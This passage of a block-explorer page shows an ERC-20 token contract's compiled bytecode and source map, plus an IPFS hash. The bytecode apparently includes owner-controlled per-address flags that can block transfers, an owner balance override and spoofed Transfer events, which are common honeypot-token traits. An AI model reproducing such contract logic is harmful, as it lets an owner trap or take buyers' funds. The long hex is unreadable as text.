16908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7990611880565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be890611912565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ccf9190611514565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d42906119a4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db190611a36565b60405180910390fd5b600115610e325760011515600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610e3157610e2e600754826111b990919063ffffffff16565b90505b5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610eb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb090611ac8565b60405180910390fd5b6000610ee36064610ed56009548661120390919063ffffffff16565b61116f90919063ffffffff16565b9050610f3783600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b990919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc69190611ae8565b610fd09190611b1c565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110929190611514565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866110f59190611b1c565b6040516111029190611514565b60405180910390a35050505050565b60008082846111209190611ae8565b905083811015611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90611b9c565b60405180910390fd5b8091505092915050565b60006111b183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061127d565b905092915050565b60006111fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e0565b905092915050565b60008083036112155760009050611277565b6000828461122391906117cc565b90508284826112329190611beb565b14611272576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126990611c8e565b60405180910390fd5b809150505b92915050565b600080831182906112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bb91906113d4565b60405180910390fd5b50600083856112d39190611beb565b9050809150509392505050565b6000838311158290611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f91906113d4565b60405180910390fd5b50600083856113379190611b1c565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561137e578082015181840152602081019050611363565b60008484015250505050565b6000601f19601f8301169050919050565b60006113a682611344565b6113b0818561134f565b93506113c0818560208601611360565b6113c98161138a565b840191505092915050565b600060208201905081810360008301526113ee818461139b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611426826113fb565b9050919050565b6114368161141b565b811461144157600080fd5b50565b6000813590506114538161142d565b92915050565b6000819050919050565b61146c81611459565b811461147757600080fd5b50565b60008135905061148981611463565b92915050565b600080604083850312156114a6576114a56113f6565b5b60006114b485828601611444565b92505060206114c58582860161147a565b9150509250929050565b60008115159050919050565b6114e4816114cf565b82525050565b60006020820190506114ff60008301846114db565b92915050565b61150e81611459565b82525050565b60006020820190506115296000830184611505565b92915050565b600080600060608486031215611548576115476113f6565b5b600061155686828701611444565b935050602061156786828701611444565b92505060406115788682870161147a565b9150509250925092565b600060208284031215611598576115976113f6565b5b60006115a684828501611444565b91505092915050565b600080604083850312156115c6576115c56113f6565b5b60006115d485828601611444565b92505060206115e585828601611444565b9150509250929050565b6115f88161141b565b82525050565b600060208201905061161360008301846115ef565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061166057607f821691505b60208210810361167357611672611619565b5b50919050565b7f4945524332303a207472616e7366657220616d6f756e7420657863656564732060008201527f616c6c6f77616e63650000000000000000000000000000000000000000000000602082015250565b60006116d560298361134f565b91506116e082611679565b604082019050919050565b60006020820190508181036000830152611704816116c8565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f6f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061176760218361134f565b91506117728261170b565b604082019050919050565b600060208201905081810360008301526117968161175a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117d782611459565b91506117e283611459565b92508282026117f081611459565b915082820484148315176118075761180661179d565b5b5092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061186a60258361134f565b91506118758261180e565b604082019050919050565b600060208201905081810360008301526118998161185d565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006118fc60238361134f565b9150611907826118a0565b604082019050919050565b6000602082019050818103600083015261192b816118ef565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061198e60268361134f565b915061199982611932565b604082019050919050565b600060208201905081810360008301526119bd81611981565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a2060248361134f565b9150611a2b826119c4565b604082019050919050565b60006020820190508181036000830152611a4f81611a13565b9050919050565b7f4945524332303a207472616e7366657220616d6f756e7473206578636565647360008201527f2062616c616e6365000000000000000000000000000000000000000000000000602082015250565b6000611ab260288361134f565b9150611abd82611a56565b604082019050919050565b60006020820190508181036000830152611ae181611aa5565b9050919050565b6000611af382611459565b9150611afe83611459565b9250828201905080821115611b1657611b1561179d565b5b92915050565b6000611b2782611459565b9150611b3283611459565b9250828203905081811115611b4a57611b4961179d565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611b86601b8361134f565b9150611b9182611b50565b602082019050919050565b60006020820190508181036000830152611bb581611b79565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611bf682611459565b9150611c0183611459565b925082611c1157611c10611bbc565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c7860218361134f565b9150611c8382611c1c565b604082019050919050565b60006020820190508181036000830152611ca781611c6b565b905091905056fea26469706673582212206d6f75938eb6053758a2960e777e6a04251890ec1e3df43d62bc33efab4f6ea464736f6c63430008110033
Deployed Bytecode Sourcemap
3741:3996:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4910:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6685:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5195:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7381:351;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5100:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4406:93;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4509:95;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6559:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4359:38;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5003:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6193:354;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3497:235;;;:::i;:::-;;7220:153;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4614:100;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3273:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4910:85;4949:13;4982:5;4975:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4910:85;:::o;6685:169::-;6768:4;6785:39;6794:12;:10;:12::i;:::-;6808:7;6817:6;6785:8;:39::i;:::-;6842:4;6835:11;;6685:169;;;;:::o;5195:102::-;5250:7;5277:12;;5270:19;;5195:102;:::o;7381:351::-;7487:4;7504:36;7514:6;7522:9;7533:6;7504:9;:36::i;:::-;7551:24;7578:11;:19;7590:6;7578:19;;;;;;;;;;;;;;;:33;7598:12;:10;:12::i;:::-;7578:33;;;;;;;;;;;;;;;;7551:60;;7650:6;7630:16;:26;;7622:80;;;;;;;;;;;;:::i;:::-;;;;;;;;;7720:4;7713:11;;;7381:351;;;;;:::o;5100:87::-;5143:7;5170:9;;5163:16;;5100:87;:::o;4406:93::-;3421:12;:10;:12::i;:::-;3409:24;;:8;:6;:8::i;:::-;:24;;;3401:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;4487:4:::1;4469:6;:15;4476:7;4469:15;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;4406:93:::0;:::o;4509:95::-;3421:12;:10;:12::i;:::-;3409:24;;:8;:6;:8::i;:::-;:24;;;3401:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;4591:5:::1;4573:6;:15;4580:7;4573:15;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;4509:95:::0;:::o;6559:118::-;6625:7;6652:8;:17;6661:7;6652:17;;;;;;;;;;;;;;;;6645:24;;6559:118;;;:::o;4359:38::-;;;;;;;;;;;;;;;;;;;;;;:::o;5003:89::-;5044:13;5077:7;5070:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5003:89;:::o;6193:354::-;6279:4;6296:12;6311;:10;:12::i;:::-;6296:27;;6351:4;6339:16;;:8;:6;:8::i;:::-;:16;;;:41;;;;;6371:9;6359:21;;:8;:6;:8::i;:::-;:21;;;6339:41;6335:138;;;6421:39;6458:1;6421:32;6440:12;;6421:8;:14;6430:4;6421:14;;;;;;;;;;;;;;;;:18;;:32;;;;:::i;:::-;:36;;:39;;;;:::i;:::-;6411:9;:49;;;;:::i;:::-;6394:8;:14;6403:4;6394:14;;;;;;;;;;;;;;;:66;;;;6335:138;6483:34;6493:4;6499:9;6510:6;6483:9;:34::i;:::-;6535:4;6528:11;;;6193:354;;;;:::o;3497:235::-;3421:12;:10;:12::i;:::-;3409:24;;:8;:6;:8::i;:::-;:24;;;3401:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;3608:42:::1;3569:83;;3591:7;::::0;::::1;;;;;;;;3569:83;;;;;;;;;;;;3681:42;3663:7;::::0;:61:::1;;;;;;;;;;;;;;;;;;3497:235::o:0;7220:153::-;7310:7;7337:11;:19;7349:6;7337:19;;;;;;;;;;;;;;;:28;7357:7;7337:28;;;;;;;;;;;;;;;;7330:35;;7220:153;;;;:::o;4614:100::-;4667:4;4691:6;:15;4698:7;4691:15;;;;;;;;;;;;;;;;;;;;;;;;;4684:22;;4614:100;;;:::o;3273:89::-;3320:7;3347;;;;;;;;;;;3340:14;;3273:89;:::o;1009:115::-;1062:15;1105:10;1090:26;;1009:115;:::o;6862:350::-;6983:1;6965:20;;:6;:20;;;6957:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;7065:1;7046:21;;:7;:21;;;7038:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;7149:6;7118:11;:19;7130:6;7118:19;;;;;;;;;;;;;;;:28;7138:7;7118:28;;;;;;;;;;;;;;;:37;;;;7188:7;7171:33;;7180:6;7171:33;;;7197:6;7171:33;;;;;;:::i;:::-;;;;;;;;6862:350;;;:::o;5305:880::-;5432:1;5414:20;;:6;:20;;;5406:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5517:1;5496:23;;:9;:23;;;5488:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;5575:4;5571:133;;;5617:4;5599:22;;:6;:14;5606:6;5599:14;;;;;;;;;;;;;;;;;;;;;;;;;:22;;;5595:98;;5652:25;5664:12;;5652:7;:11;;:25;;;;:::i;:::-;5642:35;;5595:98;5571:133;5714:16;5733:8;:16;5742:6;5733:16;;;;;;;;;;;;;;;;5714:35;;5780:7;5768:8;:19;;5760:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5852:17;5896:30;5922:3;5896:21;5908:8;;5896:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;5884:42;;5956:29;5977:7;5956:8;:16;5965:6;5956:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;5937:8;:16;5946:6;5937:16;;;;;;;;;;;;;;;:48;;;;6047:9;6039:7;6019:8;:19;6028:9;6019:19;;;;;;;;;;;;;;;;:27;;;;:::i;:::-;:37;;;;:::i;:::-;5996:8;:19;6005:9;5996:19;;;;;;;;;;;;;;;:60;;;;6089:12;;;;;;;;;;;6072:41;;6081:6;6072:41;;;6103:9;6072:41;;;;;;:::i;:::-;;;;;;;;6146:9;6129:46;;6138:6;6129:46;;;6165:9;6157:7;:17;;;;:::i;:::-;6129:46;;;;;;:::i;:::-;;;;;;;;5393:792;;5305:880;;;:::o;1398:181::-;1456:7;1476:9;1492:1;1488;:5;;;;:::i;:::-;1476:17;;1517:1;1512;:6;;1504:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1570:1;1563:8;;;1398:181;;;;:::o;2229:132::-;2287:7;2314:39;2318:1;2321;2314:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2307:46;;2229:132;;;;:::o;1587:136::-;1645:7;1672:43;1676:1;1679;1672:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1665:50;;1587:136;;;;:::o;1969:252::-;2027:7;2058:1;2053;:6;2049:47;;2083:1;2076:8;;;;2049:47;2108:9;2124:1;2120;:5;;;;:::i;:::-;2108:17;;2153:1;2148;2144;:5;;;;:::i;:::-;:10;2136:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2212:1;2205:8;;;1969:252;;;;;:::o;2369:227::-;2489:7;2521:1;2517;:5;2524:12;2509:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2548:9;2564:1;2560;:5;;;;:::i;:::-;2548:17;;2587:1;2580:8;;;2369:227;;;;;:::o;1731:226::-;1851:7;1884:1;1879;:6;;1887:12;1871:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1911:9;1927:1;1923;:5;;;;:::i;:::-;1911:17;;1948:1;1941:8;;;1731:226;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:329::-;4482:6;4531:2;4519:9;4510:7;4506:23;4502:32;4499:119;;;4537:79;;:::i;:::-;4499:119;4657:1;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4628:117;4423:329;;;;:::o;4758:474::-;4826:6;4834;4883:2;4871:9;4862:7;4858:23;4854:32;4851:119;;;4889:79;;:::i;:::-;4851:119;5009:1;5034:53;5079:7;5070:6;5059:9;5055:22;5034:53;:::i;:::-;5024:63;;4980:117;5136:2;5162:53;5207:7;5198:6;5187:9;5183:22;5162:53;:::i;:::-;5152:63;;5107:118;4758:474;;;;;:::o;5238:118::-;5325:24;5343:5;5325:24;:::i;:::-;5320:3;5313:37;5238:118;;:::o;5362:222::-;5455:4;5493:2;5482:9;5478:18;5470:26;;5506:71;5574:1;5563:9;5559:17;5550:6;5506:71;:::i;:::-;5362:222;;;;:::o;5590:180::-;5638:77;5635:1;5628:88;5735:4;5732:1;5725:15;5759:4;5756:1;5749:15;5776:320;5820:6;5857:1;5851:4;5847:12;5837:22;;5904:1;5898:4;5894:12;5925:18;5915:81;;5981:4;5973:6;5969:17;5959:27;;5915:81;6043:2;6035:6;6032:14;6012:18;6009:38;6006:84;;6062:18;;:::i;:::-;6006:84;5827:269;5776:320;;;:::o;6102:228::-;6242:34;6238:1;6230:6;6226:14;6219:58;6311:11;6306:2;6298:6;6294:15;6287:36;6102:228;:::o;6336:366::-;6478:3;6499:67;6563:2;6558:3;6499:67;:::i;:::-;6492:74;;6575:93;6664:3;6575:93;:::i;:::-;6693:2;6688:3;6684:12;6677:19;;6336:366;;;:::o;6708:419::-;6874:4;6912:2;6901:9;6897:18;6889:26;;6961:9;6955:4;6951:20;6947:1;6936:9;6932:17;6925:47;6989:131;7115:4;6989:131;:::i;:::-;6981:139;;6708:419;;;:::o;7133:220::-;7273:34;7269:1;7261:6;7257:14;7250:58;7342:3;7337:2;7329:6;7325:15;7318:28;7133:220;:::o;7359:366::-;7501:3;7522:67;7586:2;7581:3;7522:67;:::i;:::-;7515:74;;7598:93;7687:3;7598:93;:::i;:::-;7716:2;7711:3;7707:12;7700:19;;7359:366;;;:::o;7731:419::-;7897:4;7935:2;7924:9;7920:18;7912:26;;7984:9;7978:4;7974:20;7970:1;7959:9;7955:17;7948:47;8012:131;8138:4;8012:131;:::i;:::-;8004:139;;7731:419;;;:::o;8156:180::-;8204:77;8201:1;8194:88;8301:4;8298:1;8291:15;8325:4;8322:1;8315:15;8342:410;8382:7;8405:20;8423:1;8405:20;:::i;:::-;8400:25;;8439:20;8457:1;8439:20;:::i;:::-;8434:25;;8494:1;8491;8487:9;8516:30;8534:11;8516:30;:::i;:::-;8505:41;;8695:1;8686:7;8682:15;8679:1;8676:22;8656:1;8649:9;8629:83;8606:139;;8725:18;;:::i;:::-;8606:139;8390:362;8342:410;;;;:::o;8758:224::-;8898:34;8894:1;8886:6;8882:14;8875:58;8967:7;8962:2;8954:6;8950:15;8943:32;8758:224;:::o;8988:366::-;9130:3;9151:67;9215:2;9210:3;9151:67;:::i;:::-;9144:74;;9227:93;9316:3;9227:93;:::i;:::-;9345:2;9340:3;9336:12;9329:19;;8988:366;;;:::o;9360:419::-;9526:4;9564:2;9553:9;9549:18;9541:26;;9613:9;9607:4;9603:20;9599:1;9588:9;9584:17;9577:47;9641:131;9767:4;9641:131;:::i;:::-;9633:139;;9360:419;;;:::o;9785:222::-;9925:34;9921:1;9913:6;9909:14;9902:58;9994:5;9989:2;9981:6;9977:15;9970:30;9785:222;:::o;10013:366::-;10155:3;10176:67;10240:2;10235:3;10176:67;:::i;:::-;10169:74;;10252:93;10341:3;10252:93;:::i;:::-;10370:2;10365:3;10361:12;10354:19;;10013:366;;;:::o;10385:419::-;10551:4;10589:2;10578:9;10574:18;10566:26;;10638:9;10632:4;10628:20;10624:1;10613:9;10609:17;10602:47;10666:131;10792:4;10666:131;:::i;:::-;10658:139;;10385:419;;;:::o;10810:225::-;10950:34;10946:1;10938:6;10934:14;10927:58;11019:8;11014:2;11006:6;11002:15;10995:33;10810:225;:::o;11041:366::-;11183:3;11204:67;11268:2;11263:3;11204:67;:::i;:::-;11197:74;;11280:93;11369:3;11280:93;:::i;:::-;11398:2;11393:3;11389:12;11382:19;;11041:366;;;:::o;11413:419::-;11579:4;11617:2;11606:9;11602:18;11594:26;;11666:9;11660:4;11656:20;11652:1;11641:9;11637:17;11630:47;11694:131;11820:4;11694:131;:::i;:::-;11686:139;;11413:419;;;:::o;11838:223::-;11978:34;11974:1;11966:6;11962:14;11955:58;12047:6;12042:2;12034:6;12030:15;12023:31;11838:223;:::o;12067:366::-;12209:3;12230:67;12294:2;12289:3;12230:67;:::i;:::-;12223:74;;12306:93;12395:3;12306:93;:::i;:::-;12424:2;12419:3;12415:12;12408:19;;12067:366;;;:::o;12439:419::-;12605:4;12643:2;12632:9;12628:18;12620:26;;12692:9;12686:4;12682:20;12678:1;12667:9;12663:17;12656:47;12720:131;12846:4;12720:131;:::i;:::-;12712:139;;12439:419;;;:::o;12864:227::-;13004:34;13000:1;12992:6;12988:14;12981:58;13073:10;13068:2;13060:6;13056:15;13049:35;12864:227;:::o;13097:366::-;13239:3;13260:67;13324:2;13319:3;13260:67;:::i;:::-;13253:74;;13336:93;13425:3;13336:93;:::i;:::-;13454:2;13449:3;13445:12;13438:19;;13097:366;;;:::o;13469:419::-;13635:4;13673:2;13662:9;13658:18;13650:26;;13722:9;13716:4;13712:20;13708:1;13697:9;13693:17;13686:47;13750:131;13876:4;13750:131;:::i;:::-;13742:139;;13469:419;;;:::o;13894:191::-;13934:3;13953:20;13971:1;13953:20;:::i;:::-;13948:25;;13987:20;14005:1;13987:20;:::i;:::-;13982:25;;14030:1;14027;14023:9;14016:16;;14051:3;14048:1;14045:10;14042:36;;;14058:18;;:::i;:::-;14042:36;13894:191;;;;:::o;14091:194::-;14131:4;14151:20;14169:1;14151:20;:::i;:::-;14146:25;;14185:20;14203:1;14185:20;:::i;:::-;14180:25;;14229:1;14226;14222:9;14214:17;;14253:1;14247:4;14244:11;14241:37;;;14258:18;;:::i;:::-;14241:37;14091:194;;;;:::o;14291:177::-;14431:29;14427:1;14419:6;14415:14;14408:53;14291:177;:::o;14474:366::-;14616:3;14637:67;14701:2;14696:3;14637:67;:::i;:::-;14630:74;;14713:93;14802:3;14713:93;:::i;:::-;14831:2;14826:3;14822:12;14815:19;;14474:366;;;:::o;14846:419::-;15012:4;15050:2;15039:9;15035:18;15027:26;;15099:9;15093:4;15089:20;15085:1;15074:9;15070:17;15063:47;15127:131;15253:4;15127:131;:::i;:::-;15119:139;;14846:419;;;:::o;15271:180::-;15319:77;15316:1;15309:88;15416:4;15413:1;15406:15;15440:4;15437:1;15430:15;15457:185;15497:1;15514:20;15532:1;15514:20;:::i;:::-;15509:25;;15548:20;15566:1;15548:20;:::i;:::-;15543:25;;15587:1;15577:35;;15592:18;;:::i;:::-;15577:35;15634:1;15631;15627:9;15622:14;;15457:185;;;;:::o;15648:220::-;15788:34;15784:1;15776:6;15772:14;15765:58;15857:3;15852:2;15844:6;15840:15;15833:28;15648:220;:::o;15874:366::-;16016:3;16037:67;16101:2;16096:3;16037:67;:::i;:::-;16030:74;;16113:93;16202:3;16113:93;:::i;:::-;16231:2;16226:3;16222:12;16215:19;;15874:366;;;:::o;16246:419::-;16412:4;16450:2;16439:9;16435:18;16427:26;;16499:9;16493:4;16489:20;16485:1;16474:9;16470:17;16463:47;16527:131;16653:4;16527:131;:::i;:::-;16519:139;;16246:419;;;:::o
Swarm Source
ipfs://6d6f75938eb6053758a2960e777e6a04251890ec1e3df43d62bc33efab4f6ea4
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.